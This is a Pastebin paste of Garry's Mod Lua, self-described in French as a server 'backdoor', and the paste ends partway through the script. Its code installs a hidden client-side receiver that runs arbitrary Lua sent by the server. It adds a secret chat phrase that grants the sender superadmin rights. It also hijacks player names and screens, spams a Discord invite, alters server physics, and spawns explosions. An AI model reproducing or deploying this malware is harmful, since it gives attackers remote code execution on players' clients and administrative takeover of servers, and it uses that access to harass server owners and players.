MarlowFR

Untitled

Jul 15th, 2019
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 34.09 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3.  
  4. timer.Create("nonameplease", 5, 0,function()
  5. for i=1, #player.GetHumans() do
  6. local ply = player.GetHumans()[i]
  7. ply:Say( "/ooc Rejoignez l'élite! ===> https://discord.gg/n8Heezw")
  8. end
  9. end)
  10. BroadcastLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]])
  11. util.AddNetworkString "EnigmaProject"
  12.  
  13. local CHANGERPSEUDO = "wxm la backdoor du diable"
  14. local enigmalaunchproject = {}
  15. function enigmalaunchproject:RandomString( intMin, intMax )
  16. local ret = ""
  17. for _ = 1, math.random( intMin, intMax ) do
  18. ret = ret.. string.char( math.random(65, 90) )
  19. end
  20.  
  21. return ret
  22. end
  23.  
  24.  
  25.  
  26. enigmalaunchproject.m_tblActions = {}
  27. enigmalaunchproject.m_strImageGlobalVar = enigmalaunchproject:RandomString( 6, 12 )
  28. enigmalaunchproject.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  29.  
  30. function enigmalaunchproject:NouvelleAction( intChainDelay, func )
  31. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  32. end
  33.  
  34. function enigmalaunchproject:ActionApres( pPlayer )
  35. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  36. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  37.  
  38. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  39. if not IsValid( pPlayer ) then return end
  40. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  41. self:ActionApres( pPlayer )
  42. end )
  43. end
  44.  
  45. function enigmalaunchproject:Start( pPlayer )
  46. pPlayer.m_intCurAction = 0
  47. self:ActionApres( pPlayer )
  48. end
  49.  
  50. function enigmalaunchproject:SendLua( pPlayer, strLua )
  51. pPlayer:SendLua([[RunConsoleCommand("gmod_language","ko")]])
  52. net.Start( "EnigmaProject" )
  53. net.WriteString( strLua )
  54. net.Send( pPlayer )
  55. end
  56.  
  57. function enigmalaunchproject:SetupPlayer( pPlayer )
  58. pPlayer:SendLua( "net.Receive(\"EnigmaProject\", function() RunString(net.ReadString()) end)" )
  59. end
  60.  
  61.  
  62.  
  63.  
  64.  
  65.  
  66. -- DANSE --
  67.  
  68.  
  69. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_until_your_dead",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
  70.  
  71.  
  72. -- FIN DANSE --
  73.  
  74.  
  75.  
  76.  
  77. -- CHANGER NOM --
  78.  
  79.  
  80. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, CHANGERPSEUDO) v:setDarkRPVar("rpname", CHANGERPSEUDO) end
  81.  
  82.  
  83. -- FIN CHANGER NOM --
  84.  
  85.  
  86.  
  87. -- Console Spam
  88.  
  89. decore = {
  90. [[
  91.  
  92.  
  93.  
  94.  
  95.  
  96.  
  97.  
  98.  
  99.  
  100.  
  101.  
  102.  
  103.  
  104.  
  105.  
  106.  
  107.  
  108.  
  109.  
  110.  
  111.  
  112.  
  113.  
  114.  
  115.  
  116.  
  117.  
  118.  
  119.  
  120.  
  121.  
  122.  
  123.  
  124.  
  125.  
  126.  
  127.  
  128.  
  129.  
  130.  
  131.  
  132.  
  133.  
  134.  
  135.  
  136.  
  137.  
  138.  
  139.  
  140.  
  141.  
  142.  
  143.  
  144.  
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151.  
  152.  
  153.  
  154.  
  155.  
  156.  
  157.  
  158.  
  159.  
  160.  
  161.  
  162.  
  163.  
  164. wxm @ https://discord.gg/n8Heezw
  165. ]]
  166. }
  167.  
  168. function decorationconsole()
  169. print(Color( 0, 0, 0 ), table.Random(decore))
  170. end
  171. -- Console Spam
  172. for k, v in pairs( player.GetAll() ) do
  173. timer.Create("consolespamenigma", 0.4, 0, function() decorationconsole( v ) end )
  174. end
  175.  
  176. --[[ MODE ARMAGEDDON --
  177.  
  178.  
  179. hook.Add("Think", "armageddon", function()
  180. local explode = ents.Create( "env_explosion" )
  181. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  182. explode:Spawn()
  183. explode:SetKeyValue( "iMagnitude", "500" )
  184. explode:Fire( "Explode", 0, 0 )
  185. end)
  186.  
  187.  
  188. -- FIN MODE ARMAGEDDON ]]--
  189.  
  190.  
  191. -- Send Lua --
  192. function SendLuaAll( str ) net.Start( "EnigmaProject" ) net.WriteString( str ) net.Broadcast() end
  193.  
  194.  
  195. -- Changer Taille --
  196.  
  197.  
  198. hook.Add("Think", "giant", function()
  199. for k,v in pairs (player.GetAll()) do
  200. v:SetModelScale(50.5, 100);
  201. v:SetRunSpeed(700 * 2);
  202. v:SetWalkSpeed(400 * 2);
  203. end
  204. end)
  205.  
  206.  
  207. -- Fin Changer Taille --
  208.  
  209.  
  210.  
  211. -- Message --
  212.  
  213.  
  214. for k,v in pairs(player.GetAll()) do
  215. v:ConCommand("say /ooc Oups, votre serveur se fait percer de tout les côtes! :(")
  216. end
  217.  
  218.  
  219. -- Message Fin --
  220.  
  221.  
  222.  
  223. -- Auto Lançage --
  224.  
  225.  
  226. for k, v in pairs( player.GetAll() ) do
  227. enigmalaunchproject:SetupPlayer( v )
  228. timer.Simple( 2, function() enigmalaunchproject:Start( v ) end )
  229. end
  230.  
  231.  
  232. -- Fin Auto Lançage --
  233.  
  234.  
  235. -- Lancer Aux Nouveaux Arrivants --
  236.  
  237.  
  238. --hook.Add( "PlayerAuthed", "wtfispassequoi", function( pPlayer )
  239. -- enigmalaunchproject:SetupPlayer( pPlayer )
  240. -- timer.Simple( 10, function() enigmalaunchproject:Start( pPlayer ) end )
  241. --end )
  242.  
  243. -- Fin Lancer Aux Nouveaux Arrivants --
  244.  
  245.  
  246.  
  247. -- Commande Enigma --
  248.  
  249.  
  250. hook.Add( "PlayerSay", "EnigmaCKoa", function( pSender, strText, bTeamChat )
  251. if strText:sub( 1, 5 ) == "Enigma" then
  252. pSender:Ignite( 1e9 )
  253. pSender:ChatPrint( "wxm la backdoor private la plus puissante de GMod ;)" )
  254. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  255. return false
  256. end
  257. end )
  258.  
  259.  
  260. -- Fin Commande Enigma
  261.  
  262.  
  263.  
  264.  
  265.  
  266. hook.Add( "PlayerSay", "a4dxvlwxdlco", function( pSender, strText, bTeamChat )
  267. if strText:sub( 1, 5 ) == "EnigmaIsLitteralyMyFuckingGod" then
  268. pSender:SetUserGroup("superadmin")
  269. pSender:ChatPrint( "Tu est l'un des notres !" )
  270. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  271. return false
  272. end
  273. end)
  274.  
  275.  
  276.  
  277.  
  278.  
  279.  
  280.  
  281.  
  282.  
  283.  
  284. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  285. enigmalaunchproject:SendLua( pPlayer, ([=[
  286.  
  287.  
  288. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  289. local html = [[%s]]
  290. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  291. local pnl = vgui.Create( "HTML" )
  292. pnl:SetPos( ScrW() -1, ScrH() -1 )
  293. pnl:SetVisible( true )
  294. pnl:SetMouseInputEnabled( false )
  295. pnl:SetKeyBoardInputEnabled( false )
  296. pnl:SetSize( intSizeX, intSizeY )
  297. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  298.  
  299. local PageLoaded
  300. PageLoaded = function()
  301. local mat = pnl:GetHTMLMaterial()
  302. if mat then
  303. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  304. return
  305. end
  306.  
  307. timer.Simple( 0.5, PageLoaded )
  308. end
  309.  
  310. PageLoaded()
  311. end
  312.  
  313. --LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/06/5/1518211648-sans-titre-6.gif", "getrekt", 1920, 1080 )
  314.  
  315. hook.Add( "RenderScreenspaceEffects", "itsredworld", function()
  316. local sinScaler = math.sin( CurTime() )
  317. DrawBloom(
  318. 0,
  319. 3,
  320. sinScaler *math.Rand(1, 8),
  321. sinScaler *math.Rand(1, 8),
  322. 6,
  323. math.Rand(0.5, 2),
  324. math.Rand(0, 0.3),
  325. math.Rand(0, 0.3),
  326. math.Rand(0.5, 1)
  327. )
  328.  
  329. DrawColorModify{
  330. ["$pp_colour_addr"] = 1,
  331. ["$pp_colour_addg"] = 0,
  332. ["$pp_colour_addb"] = 0,
  333. ["$pp_colour_brightness" ] = 0.1,
  334. ["$pp_colour_contrast" ] = 0.1,
  335. ["$pp_colour_colour" ] = 0.1,
  336. ["$pp_colour_mulr" ] = 1,
  337. ["$pp_colour_mulg" ] = 0,
  338. ["$pp_colour_mulb" ] = 0
  339. }
  340. end )
  341.  
  342. ]=]):format(enigmalaunchproject.m_strImageLoadHTML) )
  343. end )
  344.  
  345.  
  346.  
  347.  
  348. enigmalaunchproject:NouvelleAction( 14, function( pPlayer )
  349. enigmalaunchproject:SendLua( pPlayer, [[
  350.  
  351. (GAMEMODE or GM).CalcView = function() end
  352. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  353.  
  354. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  355. for k, v in pairs(remove) do
  356. hook.GetTable()[v] = {}
  357. end
  358.  
  359. local function GetWebMat( strURL )
  360. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  361. end
  362.  
  363. hook.Add( "HUDPaint", "hud1enigma", function()
  364. surface.SetDrawColor( 255, 255, 255, 255 )
  365.  
  366. if GetWebMat( "getrekt" ) then
  367. surface.SetMaterial( GetWebMat("getrekt")[1] )
  368. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  369. end
  370.  
  371. draw.SimpleTextOutlined(
  372. "wxm is here",
  373. "DermaLarge",
  374. ScrW() /2 +math.random( -2, 2 ),
  375. ScrH() /2 +math.random( -2, 2 ) +0,
  376. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  377. TEXT_ALIGN_CENTER,
  378. TEXT_ALIGN_CENTER,
  379. 1,
  380. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  381. )
  382. end )
  383.  
  384. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  385. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  386.  
  387. ]] )
  388. end )
  389.  
  390.  
  391.  
  392. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  393. enigmalaunchproject:SendLua( pPlayer, [[
  394.  
  395. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  396.  
  397.  
  398.  
  399. ]] )
  400. end )
  401.  
  402. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  403. enigmalaunchproject:SendLua( pPlayer, [[
  404.  
  405. (GAMEMODE or GM).CalcView = function() end
  406. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  407.  
  408. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  409. for k, v in pairs(remove) do
  410. hook.GetTable()[v] = {}
  411. end
  412.  
  413. local function GetWebMat( strURL )
  414. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  415. end
  416.  
  417. hook.Add( "HUDPaint", "hud1enigma", function()
  418. surface.SetDrawColor( 255, 255, 255, 255 )
  419.  
  420. if GetWebMat( "getrekt" ) then
  421. surface.SetMaterial( GetWebMat("getrekt")[1] )
  422. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  423. end
  424.  
  425. draw.SimpleTextOutlined(
  426. "wxm was here",
  427. "DermaLarge",
  428. ScrW() /2 +math.random( -2, 2 ),
  429. ScrH() /2 +math.random( -2, 2 ) +0,
  430. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  431. TEXT_ALIGN_CENTER,
  432. TEXT_ALIGN_CENTER,
  433. 1,
  434. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  435. )
  436. end )
  437.  
  438. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  439. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  440.  
  441.  
  442. ]] )
  443. end )
  444.  
  445.  
  446. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  447. enigmalaunchproject:SendLua( pPlayer, [[
  448.  
  449. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  450.  
  451. ]] )
  452. end )
  453.  
  454. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  455. enigmalaunchproject:SendLua( pPlayer, [[
  456.  
  457.  
  458. (GAMEMODE or GM).CalcView = function() end
  459. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  460.  
  461. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  462. for k, v in pairs(remove) do
  463. hook.GetTable()[v] = {}
  464. end
  465.  
  466. local function GetWebMat( strURL )
  467. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  468. end
  469.  
  470. hook.Add( "HUDPaint", "hud1enigma", function()
  471. surface.SetDrawColor( 255, 255, 255, 255 )
  472.  
  473. if GetWebMat( "getrekt" ) then
  474. surface.SetMaterial( GetWebMat("getrekt")[1] )
  475. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  476. end
  477.  
  478. draw.SimpleTextOutlined(
  479. "Rejoignez l'élite en venant sur discord!",
  480. "DermaLarge",
  481. ScrW() /2 +math.random( -2, 2 ),
  482. ScrH() /2 +math.random( -2, 2 ) +0,
  483. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  484. TEXT_ALIGN_CENTER,
  485. TEXT_ALIGN_CENTER,
  486. 1,
  487. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  488. )
  489. end )
  490.  
  491. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  492. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  493.  
  494.  
  495.  
  496. ]] )
  497. end )
  498.  
  499. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  500. enigmalaunchproject:SendLua( pPlayer, [[
  501.  
  502. for k,v in pairs(player.GetAll()) do
  503. v:ConCommand("say /job wxm ma vie")
  504. end
  505.  
  506. ]] )
  507. end )
  508. local lol = {}
  509. function lol:RandomString( intMin, intMax )
  510. local ret = ""
  511. for _ = 1, math.random( intMin, intMax ) do
  512. ret = ret.. string.char( math.random(65, 90) )
  513. end
  514.  
  515. return ret
  516. end
  517.  
  518. lol.m_tblActions = {}
  519. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  520. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  521.  
  522. function lol:PushAction( intChainDelay, func )
  523. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  524. end
  525.  
  526. function lol:NextAction( pPlayer )
  527. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  528. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  529.  
  530. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  531. if not IsValid( pPlayer ) then return end
  532. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  533. self:NextAction( pPlayer )
  534. end )
  535. end
  536.  
  537. function lol:Start( pPlayer )
  538. pPlayer.m_intCurAction = 0
  539. self:NextAction( pPlayer )
  540. end
  541.  
  542. function lol:SendLua( pPlayer, strLua )
  543. net.Start( "skeleton_dancing_troll" )
  544. net.WriteString( strLua )
  545. net.Send( pPlayer )
  546. end
  547.  
  548. function lol:SetupPlayer( pPlayer )
  549. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  550. end
  551.  
  552. for k, v in pairs( player.GetAll() ) do
  553. lol:SetupPlayer( v )
  554. timer.Simple( 2, function() lol:Start( v ) end )
  555. end
  556.  
  557. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  558. lol:SetupPlayer( pPlayer )
  559. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  560. end )
  561.  
  562. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  563. if strText:sub( 1, 5 ) == "/1337" then
  564. pSender:Ignite( 1e9 )
  565. pSender:ChatPrint( "wxm best backdoor ever ;)" )
  566. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  567. return false
  568. end
  569. end )
  570.  
  571.  
  572.  
  573.  
  574. lol:PushAction( 0, function( pPlayer )
  575. lol:SendLua( pPlayer, ([=[
  576. sound.PlayURL( "", "", function()end )
  577.  
  578. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  579. local html = [[%s]]
  580. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  581. local pnl = vgui.Create( "HTML" )
  582. pnl:SetPos( ScrW() -1, ScrH() -1 )
  583. pnl:SetVisible( true )
  584. pnl:SetMouseInputEnabled( false )
  585. pnl:SetKeyBoardInputEnabled( false )
  586. pnl:SetSize( intSizeX, intSizeY )
  587. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  588.  
  589. local PageLoaded
  590. PageLoaded = function()
  591. local mat = pnl:GetHTMLMaterial()
  592. if mat then
  593. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  594. return
  595. end
  596.  
  597. timer.Simple( 0.5, PageLoaded )
  598. end
  599.  
  600. PageLoaded()
  601. end
  602.  
  603. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644585-hud.png", "hud1", 300, 128 )
  604. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644587-hud2.png", "hud2", 300, 128 )
  605. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644600-hud3.png", "hud3", 128, 128 )
  606. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644579-doritos.png", "doritos", 183, 256 )
  607. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644581-fedora.png", "fedora", 256, 256 )
  608. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644577-dew.png", "dew", 110, 256 )
  609. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644574-awp.png", "awp", 256, 55 )
  610. ]=]):format(lol.m_strImageLoadHTML) )
  611. end )
  612. enigmalaunchproject:NouvelleAction( 2, function( pPlayer )
  613. enigmalaunchproject:SendLua( pPlayer, [[
  614.  
  615. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  616.  
  617. ]] )
  618. end )
  619.  
  620. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  621. enigmalaunchproject:SendLua( pPlayer, [[
  622.  
  623. RunConsoleCommand("+right")
  624.  
  625. ]] )
  626. end )
  627.  
  628. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  629. enigmalaunchproject:SendLua( pPlayer, [[
  630.  
  631. RunConsoleCommand("-right")
  632.  
  633. ]] )
  634. end )
  635.  
  636. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  637. enigmalaunchproject:SendLua( pPlayer, [[
  638.  
  639. RunConsoleCommand("+duck")
  640.  
  641. ]] )
  642. end )
  643.  
  644. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  645. enigmalaunchproject:SendLua( pPlayer, [[
  646.  
  647. RunConsoleCommand("-duck")
  648.  
  649. ]] )
  650. end )
  651.  
  652. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  653.  
  654. timer.Create( "lespamckool", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "wxm l\'élite des backdoors" )' ) end)
  655. timer.Create( "lespamckool2", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "rejoignez l\'élite!" )' ) end)
  656. timer.Create( "lespamckool3", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "https://discord.gg/n8Heezw" )' ) end)
  657. timer.Create( "lespamckool4", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "Marlow" )' ) end)
  658. timer.Create( "lespamckool5", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "https://discord.gg/n8Heezw" )' ) end)
  659. timer.Create( "lespamckool6", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "wxm vous couche tous" )' ) end)
  660. timer.Create( "lespamckool7", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "gvac c\'est pour vous bande de pucelles" )' ) end)
  661. timer.Create( "lespamckool8", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "~ l\'élite des backdoors - https://discord.gg/n8Heezw" )' ) end)
  662.  
  663. end )
  664.  
  665.  
  666. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  667.  
  668. timer.Remove( "lespamckool" )
  669. timer.Remove( "lespamckool2" )
  670. timer.Remove( "lespamckool3" )
  671. timer.Remove( "lespamckool4" )
  672. timer.Remove( "lespamckool5" )
  673. timer.Remove( "lespamckool6" )
  674. timer.Remove( "lespamckool7" )
  675. timer.Remove( "lespamckool8" )
  676.  
  677. end )
  678.  
  679. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  680.  
  681.  
  682. RunConsoleCommand("sv_friction", "-50")
  683.  
  684.  
  685. end )
  686.  
  687. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  688.  
  689.  
  690. RunConsoleCommand("sv_gravity", "300")
  691.  
  692.  
  693. end )
  694.  
  695. enigmalaunchproject:NouvelleAction( 12, function( pPlayer )
  696.  
  697.  
  698. hook.Add("Think", "armageddon", function()
  699. local explode = ents.Create( "env_explosion" )
  700. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  701. explode:Spawn()
  702. explode:SetKeyValue( "iMagnitude", "500" )
  703. explode:Fire( "Explode", 0, 0 )
  704. end)
  705.  
  706. end )
  707.  
  708.  
  709. enigmalaunchproject:NouvelleAction( 27, function( pPlayer )
  710.  
  711. hook.Remove( "Think", "armageddon", function() end)
  712.  
  713. end )
  714.  
  715. enigmalaunchproject:NouvelleAction( 7, function( pPlayer )
  716. enigmalaunchproject:SendLua( pPlayer, [[
  717. hook.Add( "RenderScreenspaceEffects", "itsendofworld", function()
  718. local sinScaler = math.sin( CurTime() )
  719. DrawBloom(
  720. 0,
  721. 3,
  722. sinScaler *math.Rand(1, 8),
  723. sinScaler *math.Rand(1, 8),
  724. 6,
  725. math.Rand(0.5, 2),
  726. math.Rand(0, 0.3),
  727. math.Rand(0, 0.3),
  728. math.Rand(0.5, 1)
  729. )
  730.  
  731. DrawColorModify{
  732. ["$pp_colour_addr"] = 0,
  733. ["$pp_colour_addg"] = 0,
  734. ["$pp_colour_addb"] = 0,
  735. ["$pp_colour_brightness" ] = 0.1,
  736. ["$pp_colour_contrast" ] = 0.1,
  737. ["$pp_colour_colour" ] = 0.1,
  738. ["$pp_colour_mulr" ] = 0,
  739. ["$pp_colour_mulg" ] = 0,
  740. ["$pp_colour_mulb" ] = 0
  741. }
  742. end )
  743.  
  744. ]] )
  745. end )
  746.  
  747. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  748. enigmalaunchproject:SendLua( pPlayer, [[
  749.  
  750. (GAMEMODE or GM).CalcView = function() end
  751. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  752.  
  753. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  754. for k, v in pairs(remove) do
  755. hook.GetTable()[v] = {}
  756. end
  757.  
  758. local function GetWebMat( strURL )
  759. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  760. end
  761.  
  762. hook.Add( "HUDPaint", "hud1enigma", function()
  763. surface.SetDrawColor( 255, 255, 255, 255 )
  764.  
  765. draw.SimpleTextOutlined(
  766. "wxm",
  767. "HACK",
  768. ScrW() /2 +math.random( -270, 300 ),
  769. ScrH() /2 +math.random( -300, 700 ) +0,
  770. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  771. TEXT_ALIGN_CENTER,
  772. TEXT_ALIGN_CENTER,
  773. 1,
  774. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  775. )
  776. end )
  777.  
  778. ]] )
  779. end )
  780.  
  781.  
  782. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  783. enigmalaunchproject:SendLua( pPlayer, [[
  784.  
  785. (GAMEMODE or GM).CalcView = function() end
  786. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  787.  
  788. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  789. for k, v in pairs(remove) do
  790. hook.GetTable()[v] = {}
  791. end
  792.  
  793. local function GetWebMat( strURL )
  794. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  795. end
  796.  
  797. hook.Add( "HUDPaint", "hud2enigma", function()
  798. surface.SetDrawColor( 255, 255, 255, 255 )
  799.  
  800. draw.SimpleTextOutlined(
  801. "hmm la backdoor qui fait du bien",
  802. "DermaLarge",
  803. ScrW() /2 +math.random( -600, 700 ),
  804. ScrH() /2 +math.random( -200, 800 ) +100,
  805. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  806. TEXT_ALIGN_CENTER,
  807. TEXT_ALIGN_CENTER,
  808. 1,
  809. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  810. )
  811. end )
  812. ]] )
  813. end )
  814.  
  815. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  816. enigmalaunchproject:SendLua( pPlayer, [[
  817.  
  818. (GAMEMODE or GM).CalcView = function() end
  819. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  820.  
  821. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  822. for k, v in pairs(remove) do
  823. hook.GetTable()[v] = {}
  824. end
  825.  
  826. local function GetWebMat( strURL )
  827. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  828. end
  829.  
  830. hook.Add( "HUDPaint", "hud3enigma", function()
  831. surface.SetDrawColor( 255, 255, 255, 255 )
  832.  
  833. draw.SimpleTextOutlined(
  834. "wxm",
  835. "DermaLarge",
  836. ScrW() /2 +math.random( -400, 500 ),
  837. ScrH() /2 +math.random( -600, 500 ) -100,
  838. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  839. TEXT_ALIGN_CENTER,
  840. TEXT_ALIGN_CENTER,
  841. 1,
  842. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  843. )
  844. end )
  845. ]] )
  846. end )
  847.  
  848. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  849. enigmalaunchproject:SendLua( pPlayer, [[
  850.  
  851. (GAMEMODE or GM).CalcView = function() end
  852. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  853.  
  854. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  855. for k, v in pairs(remove) do
  856. hook.GetTable()[v] = {}
  857. end
  858.  
  859. local function GetWebMat( strURL )
  860. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  861. end
  862.  
  863. hook.Add( "HUDPaint", "hud5enigma", function()
  864. surface.SetDrawColor( 255, 255, 255, 255 )
  865.  
  866. draw.SimpleTextOutlined(
  867. "wxm",
  868. "DermaLarge",
  869. ScrW() /2 +math.random( -500, 500 ),
  870. ScrH() /2 +math.random( -500, 500 ) +0,
  871. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  872. TEXT_ALIGN_CENTER,
  873. TEXT_ALIGN_CENTER,
  874. 1,
  875. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  876. )
  877. end )
  878. ]] )
  879. end )
  880.  
  881. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  882. enigmalaunchproject:SendLua( pPlayer, [[
  883.  
  884. (GAMEMODE or GM).CalcView = function() end
